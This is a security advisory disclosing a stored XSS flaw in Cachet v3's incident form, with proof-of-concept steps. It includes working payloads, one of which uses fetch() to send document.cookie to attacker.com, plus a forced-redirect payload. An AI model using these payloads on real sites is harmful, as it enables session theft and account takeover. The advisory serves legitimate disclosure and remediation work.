Vulnerability GHSA-x397-5hrv-j9m9
Summary
Cachet has Stored XSS in Incident Component
Details
Summary
A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.
Details
The incident Name and Message fields do not properly sanitize HTML event handler attributes. While tags appear to be filtered, event-based payloads are not blocked.</p> <p>Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3</p> <h3>PoC</3> <ol> <li>Log in as an authenticated user</li> <li>Navigate to /dashboard/incidents/</li> <li>Create a new incident</li> <li>Insert the following payloads in the Name and Message field:</li> </ol> <p>Payload 1 — Confirm XSS execution: <code><img src=x onerror="alert(1)"></code></p> <p>Step 2 — Cookie/token exfiltration: <code><img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)"></code></p> <p>Step 3 — Forced redirect to sensitive page: <code><img src=x onerror="window.location='/dashboard/manage-customization'"></code></p> <ol start="5"> <li>Save the incident</li> <li>Navigate to the public status page</li> <li>Payload executes in the victim's browser</li> </ol> <h3>Payload 1</3> <img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" /> <h3>Payload 2</3> <img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" /> <p>Stored XSS affecting all users who view the public status page.</p> <p>An attacker can:</p> <ul> <li>Confirm script execution via alert popup</li> <li>Steal session cookies and XSRF tokens from authenticated users</li> <li>Silently redirect victims to sensitive pages like <code>/dashboard/manage-customization</code></li> </ul> <p>This vulnerability could lead to full account takeover of any user who views the status page, including administrators.</p>
Related Vulnerabilities
Other vulnerabilities affecting the same packages